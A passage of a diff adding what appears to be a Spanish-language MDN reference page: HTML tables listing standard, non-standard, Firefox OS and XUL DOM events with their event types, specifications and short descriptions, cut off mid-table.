+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-ratechange">HTML5 media</a></td>
+   <td>The playback rate has changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("readystatechange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><span>HTML5 <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-readystatechange">XMLHttpRequest</a></td>
+   <td>The readyState attribute of a document has changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("repeatEvent")}}</td>
+   <td>{{domxref("TimeEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>A <a href="/en-US/docs/SVG/SVG_animation_with_SMIL">SMIL</a> animation element is repeated.</td>
+  </tr>
+  <tr>
+   <td>{{event("reset")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html">DOM L2</a>, <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#form-submission-0#resetting-a-form">HTML5</a></td>
+   <td>A form is reset.</td>
+  </tr>
+  <tr>
+   <td>{{event("resize")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-resize">DOM L3</a></td>
+   <td>The document view has been resized.</td>
+  </tr>
+  <tr>
+   <td>{{event("scroll")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-scroll">DOM L3</a></td>
+   <td>The document view or an element has been scrolled.</td>
+  </tr>
+  <tr>
+   <td>{{event("seeked")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-seeked">HTML5 media</a></td>
+   <td>A <em>seek</em> operation completed.</td>
+  </tr>
+  <tr>
+   <td>{{event("seeking")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-seeking">HTML5 media</a></td>
+   <td>A <em>seek</em> operation began.</td>
+  </tr>
+  <tr>
+   <td>{{event("select")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-select">DOM L3</a></td>
+   <td>Some text is being selected.</td>
+  </tr>
+  <tr>
+   <td>{{event("show")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/html5/interactive-elements.html#context-menus">HTML5</a></td>
+   <td>A contextmenu event was fired on/bubbled to an element that has a <a href="/en-US/docs/DOM/element.contextmenu">contextmenu</a> attribute</td>
+  </tr>
+  <tr>
+   <td>{{event("stalled")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-stalled">HTML5 media</a></td>
+   <td>The user agent is trying to fetch media data, but data is unexpectedly not forthcoming.</td>
+  </tr>
+  <tr>
+   <td>{{event("storage")}}</td>
+   <td>{{domxref("StorageEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/webstorage/#the-storage-event">Web Storage</a></td>
+   <td>A storage area (<a href="/en-US/docs/DOM/Storage#localStorage">localStorage</a> or <a href="/en-US/docs/DOM/Storage#sessionStorage">sessionStorage</a>) has changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("submit")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html">DOM L2</a>, <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#form-submission-algorithm">HTML5</a></td>
+   <td>A form is submitted.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/success_indexedDB">success</a></code></td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
+   <td>A request successfully completed.</td>
+  </tr>
+  <tr>
+   <td>{{event("suspend")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-suspend">HTML5 media</a></td>
+   <td>Media data loading has been suspended.</td>
+  </tr>
+  <tr>
+   <td>{{event("SVGAbort")}}</td>
+   <td>{{domxref("SVGEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>Page loading has been stopped before the <a href="/en-US/docs/SVG">SVG</a> was loaded.</td>
+  </tr>
+  <tr>
+   <td>{{event("SVGError")}}</td>
+   <td>{{domxref("SVGEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An error has occurred before the <a href="/en-US/docs/SVG">SVG</a> was loaded.</td>
+  </tr>
+  <tr>
+   <td>{{event("SVGLoad")}}</td>
+   <td>{{domxref("SVGEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/en-US/docs/SVG">SVG</a> document has been loaded and parsed.</td>
+  </tr>
+  <tr>
+   <td>{{event("SVGResize")}}</td>
+   <td>{{domxref("SVGEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/en-US/docs/SVG">SVG</a> document is being resized.</td>
+  </tr>
+  <tr>
+   <td>{{event("SVGScroll")}}</td>
+   <td>{{domxref("SVGEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/en-US/docs/SVG">SVG</a> document is being scrolled.</td>
+  </tr>
+  <tr>
+   <td>{{event("SVGUnload")}}</td>
+   <td>{{domxref("SVGEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/en-US/docs/SVG">SVG</a> document has been removed from a window or frame.</td>
+  </tr>
+  <tr>
+   <td>{{event("SVGZoom")}}</td>
+   <td>{{domxref("SVGZoomEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/en-US/docs/SVG">SVG</a> document is being zoomed.</td>
+  </tr>
+  <tr>
+   <td>{{event("timeout")}}</td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-timeout">XMLHttpRequest</a></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{event("timeupdate")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-timeupdate">HTML5 media</a></td>
+   <td>The time indicated by the <code>currentTime</code> attribute has been updated.</td>
+  </tr>
+  <tr>
+   <td>{{event("touchcancel")}}</td>
+   <td>{{domxref("TouchEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/touch-events/">Touch Events</a></td>
+   <td>A touch point has been disrupted in an implementation-specific manners (too many touch points for example).</td>
+  </tr>
+  <tr>
+   <td>{{event("touchend")}}</td>
+   <td>{{domxref("TouchEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/touch-events/#the-touchend-event">Touch Events</a></td>
+   <td>A touch point is removed from the touch surface.</td>
+  </tr>
+  <tr>
+   <td>{{event("touchenter")}}</td>
+   <td>{{domxref("TouchEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/touch-events/">Touch Events</a> Removed</td>
+   <td>A touch point is moved onto the interactive area of an element.</td>
+  </tr>
+  <tr>
+   <td>{{event("touchleave")}}</td>
+   <td>{{domxref("TouchEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/touch-events/">Touch Events</a> Removed</td>
+   <td>A touch point is moved off the interactive area of an element.</td>
+  </tr>
+  <tr>
+   <td>{{event("touchmove")}}</td>
+   <td>{{domxref("TouchEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/touch-events/#the-touchmove-event">Touch Events</a></td>
+   <td>A touch point is moved along the touch surface.</td>
+  </tr>
+  <tr>
+   <td>{{event("touchstart")}}</td>
+   <td>{{domxref("TouchEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/touch-events/#the-touchstart---------event">Touch Events</a></td>
+   <td>A touch point is placed on the touch surface.</td>
+  </tr>
+  <tr>
+   <td>{{event("transitionend")}}</td>
+   <td>{{domxref("TransitionEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/css3-transitions/#transition-events">CSS Transitions</a></td>
+   <td>A <a href="/en-US/docs/CSS/CSS_transitions">CSS transition</a> has completed.</td>
+  </tr>
+  <tr>
+   <td>{{event("unload")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-unload">DOM L3</a></td>
+   <td>The document or a dependent resource is being unloaded.</td>
+  </tr>
+  <tr>
+   <td>{{event("updateready")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/spec/offline.html">Offline</a></td>
+   <td>The resources listed in the manifest have been newly redownloaded, and the script can use <code>swapCache()</code> to switch to the new cache.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/upgradeneeded_indexedDB">upgradeneeded</a></code></td>
+   <td> </td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
+   <td>An attempt was made to open a database with a version number higher than its current version. A <code>versionchange</code> transaction has been created.</td>
+  </tr>
+  <tr>
+   <td>{{event("userproximity")}}</td>
+   <td>{{domxref("SensorEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/proximity/Overview.html">Sensor</a></td>
+   <td>Fresh data is available from a proximity sensor (indicates whether the nearby object is <code>near</code> the device or not).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/versionchange_indexedDB">versionchange</a></code></td>
+   <td> </td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#database-interface">IndexedDB</a></td>
+   <td>A <code>versionchange</code> transaction completed.</td>
+  </tr>
+  <tr>
+   <td>{{event("visibilitychange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/page-visibility/#sec-visibilitychange-event">Page visibility</a></td>
+   <td>The content of a tab has become visible or has been hidden.</td>
+  </tr>
+  <tr>
+   <td>{{event("volumechange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-volumechange">HTML5 media</a></td>
+   <td>The volume has changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("waiting")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-waiting">HTML5 media</a></td>
+   <td>Playback has stopped because of a temporary lack of data.</td>
+  </tr>
+  <tr>
+   <td>{{event("wheel")}} {{gecko_minversion_inline("17")}}</td>
+   <td>{{domxref("WheelEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-wheel">DOM L3</a></td>
+   <td>A wheel button of a pointing device is rotated in any direction.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Eventos_no_estándar">Eventos no estándar</h2>
+
+<table class="standard-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <th class="header" style="width: 220px;">Nombre del evento</th>
+   <th class="header" style="width: 90px;">Tipo de evento</th>
+   <th class="header" style="width: 100px;">Especificación</th>
+   <th class="header">Se activa al...</th>
+  </tr>
+  <tr>
+   <td>{{event("afterscriptexecute")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td><em>Mozilla Specific</em></td>
+   <td>A script has been executed.</td>
+  </tr>
+  <tr>
+   <td>{{event("beforescriptexecute")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td><em>Mozilla Specific</em></td>
+   <td>A script is about to be executed.</td>
+  </tr>
+  <tr>
+   <td>{{event("cardstatechange")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The {{domxref("MozMobileConnection.cardState")}} property changes value.</td>
+  </tr>
+  <tr>
+   <td>{{event("change")}}</td>
+   <td>{{domxref("DeviceStorageChangeEvent")}}</td>
+   <td><em>Firefox OS specific</em></td>
+   <td>This event is triggered each time a file is created, modified or deleted on a given storage area.</td>
+  </tr>
+  <tr>
+   <td>{{event("connectionInfoUpdate")}}</td>
+   <td> </td>
+   <td><a href="http://mxr.mozilla.org/mozilla-central/source/dom/wifi/nsIWifi.idl?rev=3e586802f478#176"><em>Firefox OS specific</em></a></td>
+   <td>The informations about the signal strength and the link speed have been updated.</td>
+  </tr>
+  <tr>
+   <td>{{event("cfstatechange")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The call forwarding state changes.</td>
+  </tr>
+  <tr>
+   <td>{{event("datachange")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The {{domxref("MozMobileConnection.data")}} object changes values.</td>
+  </tr>
+  <tr>
+   <td>{{event("dataerror")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The {{domxref("MozMobileConnection.data")}} object receive an error from the <abbr title="Radio Interface Layer">RIL</abbr>.</td>
+  </tr>
+  <tr>
+   <td>{{event("DOMMouseScroll")}} {{deprecated_inline}}</td>
+   <td> </td>
+   <td><em>Mozilla specific</em></td>
+   <td>The wheel button of a pointing device is rotated (detail attribute is a number of lines). (use {{event("wheel")}} instead)</td>
+  </tr>
+  <tr>
+   <td><code>dragdrop</code> {{deprecated_inline}}</td>
+   <td><code>DragEvent</code></td>
+   <td><em>Mozilla specific</em></td>
+   <td>An element is dropped (use {{event("drop")}} instead).</td>
+  </tr>
+  <tr>
+   <td><code>dragexit</code> {{deprecated_inline}}</td>
+   <td><code>DragEvent</code></td>
+   <td><em>Mozilla specific</em></td>
+   <td>A drag operation is being ended(use {{event("dragend")}} instead).</td>
+  </tr>
+  <tr>
+   <td><code>draggesture</code> {{deprecated_inline}}</td>
+   <td><code>DragEvent</code></td>
+   <td><em>Mozilla specific</em></td>
+   <td>The user starts dragging an element or text selection (use {{event("dragstart")}} instead).</td>
+  </tr>
+  <tr>
+   <td>{{event("icccardlockerror")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>the {{domxref("MozMobileConnection.unlockCardLock()")}} or {{domxref("MozMobileConnection.setCardLock()")}} methods fails.</td>
+  </tr>
+  <tr>
+   <td>{{event("iccinfochange")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The {{domxref("MozMobileConnection.iccInfo")}} object changes.</td>
+  </tr>
+  <tr>
+   <td>{{event("localized")}}</td>
+   <td> </td>
+   <td><em><a href="https://github.com/fabi1cazenave/webL10n">Mozilla Specific</a></em></td>
+   <td>The page has been localized using data-l10n-* attributes.</td>
+  </tr>
+  <tr>
+   <td>{{event("mousewheel")}} {{deprecated_inline}}</td>
+   <td> </td>
+   <td><a href="http://msdn.microsoft.com/en-us/library/ie/ms536951%28v=vs.85%29.aspx"><em>IE invented</em></a></td>
+   <td>The wheel button of a pointing device is rotated.</td>
+  </tr>
+  <tr>
+   <td>{{event("MozAudioAvailable")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td><em>Mozilla specific</em></td>
+   <td>The audio buffer is full and the corresponding raw samples are available.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowserclose")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>Sent when window.close() is called within a browser iframe.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowsercontextmenu")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>Sent when a browser {{HTMLElement("iframe")}} try to open a context menu.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowsererror")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>Sent when an error occured while trying to load a content within a browser iframe</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowsericonchange")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>Sent when the favicon of a browser iframe changes.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowserlocationchange")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>Sent when an browser iframe's location changes.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowserloadend")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>Sent when the browser iframe has finished loading all its assets.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowserloadstart")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>Sent when the browser iframe starts to load a new page.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowseropenwindow")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>Sent when {{domxref("window.open()")}} is called within a browser iframe.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowsersecuritychange")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>Sent when the SSL state changes within a browser iframe.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowsershowmodalprompt")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>Sent when {{domxref("window.alert","alert()")}}, {{domxref("window.confirm","confirm()")}} or {{domxref("window.prompt","prompt()")}} are called within a browser iframe</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowsertitlechange")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>Sent when the document.title changes within a browser iframe.</td>
+  </tr>
+  <tr>
+   <td>{{event("MozGamepadButtonDown")}}</td>
+   <td> </td>
+   <td><em>To be specified</em></td>
+   <td>A gamepad button is pressed down.</td>
+  </tr>
+  <tr>
+   <td>{{event("MozGamepadButtonUp")}}</td>
+   <td> </td>
+   <td><em>To be specified</em></td>
+   <td>A gamepad button is released.</td>
+  </tr>
+  <tr>
+   <td>{{event("MozMousePixelScroll")}} {{deprecated_inline}}</td>
+   <td> </td>
+   <td><em>Mozilla specific</em></td>
+   <td>The wheel button of a pointing device is rotated (detail attribute is a number of pixels). (use wheel instead)</td>
+  </tr>
+  <tr>
+   <td>{{event("MozOrientation")}} {{deprecated_inline}}</td>
+   <td> </td>
+   <td><em>Mozilla specific</em></td>
+   <td>Fresh data is available from an orientation sensor (see deviceorientation).</td>
+  </tr>
+  <tr>
+   <td>{{event("MozScrolledAreaChanged")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td><em>Mozilla specific</em></td>
+   <td>The document view has been scrolled or resized.</td>
+  </tr>
+  <tr>
+   <td>{{event("moztimechange")}}</td>
+   <td> </td>
+   <td><em>Mozilla specific</em></td>
+   <td>The time of the device has been changed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchDown</a> {{deprecated_inline}}</td>
+   <td> </td>
+   <td><em>Mozilla specific</em></td>
+   <td>A touch point is placed on the touch surface (use touchstart instead).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchMove</a> {{deprecated_inline}}</td>
+   <td> </td>
+   <td><em>Mozilla specific</em></td>
+   <td>A touch point is moved along the touch surface (use touchmove instead).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchUp</a> {{deprecated_inline}}</td>
+   <td> </td>
+   <td><em>Mozilla specific</em></td>
+   <td>A touch point is removed from the touch surface (use touchend instead).</td>
+  </tr>
+  <tr>
+   <td>{{event("alerting")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>The correspondent is being alerted (his/her phone is ringing).</td>
+  </tr>
+  <tr>
+   <td>{{event("busy")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>The line of the correspondent is busy.</td>
+  </tr>
+  <tr>
+   <td>{{event("callschanged")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call has been added or removed from the list of current calls.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/DOM/onconnected">onconnected</a> {{event("connected")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call has been connected.</td>
+  </tr>
+  <tr>
+   <td>{{event("connecting")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is about to connect.</td>
+  </tr>
+  <tr>
+   <td>{{event("delivered")}}</td>
+   <td>{{domxref("SMSEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>An SMS has been successfully delivered.</td>
+  </tr>
+  <tr>
+   <td>{{event("dialing")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>The number of a correspondent has been dialed.</td>
+  </tr>
+  <tr>
+   <td>{{event("disabled")}}</td>
+   <td> </td>
+   <td><a href="http://mxr.mozilla.org/mozilla-central/source/dom/wifi/nsIWifi.idl?rev=3e586802f478#182"><em>Firefox OS specific</em></a></td>
+   <td>Wifi has been disabled on the device.</td>
+  </tr>
+  <tr>
+   <td>{{event("disconnected")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call has been disconnected.</td>
+  </tr>
+  <tr>
+   <td>{{event("disconnecting")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is about to disconnect.</td>
+  </tr>
+  <tr>
+   <td>{{event("enabled")}}</td>
+   <td> </td>
+   <td><a href="http://mxr.mozilla.org/mozilla-central/source/dom/wifi/nsIWifi.idl?rev=3e586802f478#182"><em>Firefox OS specific</em></a></td>
+   <td>Wifi has been enabled on the device.</td>
+  </tr>
+  <tr>
+   <td>{{event("error_(Telephony)","error")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>An error occurred.</td>
+  </tr>
+  <tr>
+   <td>{{event("held")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call has been held.</td>
+  </tr>
+  <tr>
+   <td>{{event("holding")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is about to be held.</td>
+  </tr>
+  <tr>
+   <td>{{event("incoming")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is being received.</td>
+  </tr>
+  <tr>
+   <td>{{event("received")}}</td>
+   <td>{{domxref("SMSEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>An SMS has been received.</td>
+  </tr>
+  <tr>
+   <td>{{event("resuming")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is about to resume.</td>
+  </tr>
+  <tr>
+   <td>{{event("sent")}}</td>
+   <td>{{domxref("SMSEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>An SMS has been sent.</td>
+  </tr>
+  <tr>
+   <td>{{event("statechange")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>The state of a call has changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("statuschange")}}</td>
+   <td> </td>
+   <td><a href="http://mxr.mozilla.org/mozilla-central/source/dom/wifi/nsIWifi.idl?rev=3e586802f478#156"><em>Firefox OS specific</em></a></td>
+   <td>The status of the Wifi connection changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("overflow")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td><em>Mozilla specific</em></td>
+   <td>An element has been overflowed by its content or has been rendered for the first time in this state (only works for elements styled with <code>overflow</code> != <code>visible</code>).</td>
+  </tr>
+  <tr>
+   <td>{{event("smartcard-insert")}}</td>
+   <td> </td>
+   <td><em>Mozilla specific</em></td>
+   <td>A <a href="/en-US/docs/JavaScript_crypto">smartcard</a> has been inserted.</td>
+  </tr>
+  <tr>
+   <td>{{event("smartcard-remove")}}</td>
+   <td> </td>
+   <td><em>Mozilla specific</em></td>
+   <td>A <a href="/en-US/docs/JavaScript_crypto">smartcard</a> has been removed.</td>
+  </tr>
+  <tr>
+   <td>{{event("stkcommand")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The <abbr title="SIM Application Toolkit">STK</abbr> Proactive Command is issued from <abbr title="Integrated Circuit Card">ICC</abbr>.</td>
+  </tr>
+  <tr>
+   <td>{{event("stksessionend")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The <abbr title="SIM Application Toolkit">STK</abbr> Session is terminated by <abbr title="Integrated Circuit Card">ICC</abbr>.</td>
+  </tr>
+  <tr>
+   <td><code>text</code></td>
+   <td> </td>
+   <td><em>Mozilla Specific</em></td>
+   <td>A generic composition event occurred.</td>
+  </tr>
+  <tr>
+   <td>{{event("underflow")}}"</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td><em>Mozilla specific</em></td>
+   <td>An element is no longer overflowed by its content (only works for elements styled with <code>overflow</code> != <code>visible</code>).</td>
+  </tr>
+  <tr>
+   <td><code>uploadprogress</code> {{deprecated_inline}}</td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td><em>Mozilla Specific</em></td>
+   <td>Upload is in progress (see {{event("progress")}}).</td>
+  </tr>
+  <tr>
+   <td>{{event("ussdreceived")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>A new <abbr title="Unstructured Supplementary Service Data">USSD</abbr> message is received</td>
+  </tr>
+  <tr>
+   <td>{{event("voicechange")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The {{domxref("MozMobileConnection.voice")}} object changes values.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Eventos_específicos_de_Mozilla">Eventos específicos de Mozilla</h2>
+
+<div class="note">
+<p><span id="result_box" lang="es"><span class="hps">Nota</span><span>:</span> <span class="hps">los</span> <span class="hps">eventos</span> <span class="hps">nunca</span> <span class="hps">están expuestos a</span> <span class="hps">contenidos web y</span> <span class="hps">sólo se pueden utilizar</span> <span class="hps">en el contexto de</span> <span class="hps">contenido de</span> <span class="hps">chrome</span><span>.</span></span></p>
+</div>
+
+<h3 id="Eventos_XUL">Eventos XUL</h3>
+
+<table class="standard-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <th class="header" style="width: 220px;">Nombre del evento</th>
+   <th class="header" style="width: 90px;">Tipo de Evento</th>
+   <th class="header" style="width: 100px;">Especificación</th>
+   <th class="header">Se activa al...</th>
+  </tr>
+  <tr>
+   <td>{{event("broadcast")}}</td>
+   <td> </td>
+   <td><a href="/en-US/docs/XUL/Tutorial/Broadcasters_and_Observers#Broadcast_event">XUL</a></td>
+   <td>An <code>observer</code> noticed a change to the attributes of a watched broadcaster.</td>
+  </tr>
+  <tr>
+   <td>{{event("CheckboxStateChange")}}</td>
+   <td> </td>
+   <td>XUL</td>
+   <td>The state of a <code>checkbox</code> has been changed either by a user action or by a script (useful for accessibility).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/close_event">close</a></td>
+   <td> </td>
+   <td>XUL</td>
+   <td>The close button of the window has been clicked.</td>
+  </tr>
+  <tr>
+   <td>{{event("command")}}</td>
+   <td> </td>
+   <td>XUL</td>
+   <td>An element has been activated.</td>
+  </tr>
+  <tr>
+   <td>{{event("commandupdate")}}</td>
+   <td> </td>
+   <td>XUL</td>
+   <td>A command update occurred on a <code>commandset</code> element.</td>
+  </tr>
+  <tr>
+   <td>{{event("DOMMenuItemActive")}}</td>
+   <td> </td>
+   <td>XUL</td>
+   <td>A menu or menuitem has been hovered or highlighted.</td>
+  </tr>
+  <tr>
+   <td>{{event("DOMMenuItemInactive")}}</td>
+   <td> </td>
+   <td><em>XUL</em></td>
+   <td>A menu or menuitem is no longer hovered or highlighted.</td>
+  </tr>
+  <tr>
+   <td>{{event("popuphidden")}}</td>
+   <td><code>PopupEvent</code></td>
+   <td><a href="/en-US/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
+   <td>A menupopup, panel or tooltip has been hidden.</td>
+  </tr>
+  <tr>
+   <td>{{event("popuphiding")}}</td>
+   <td><code>PopupEvent</code></td>
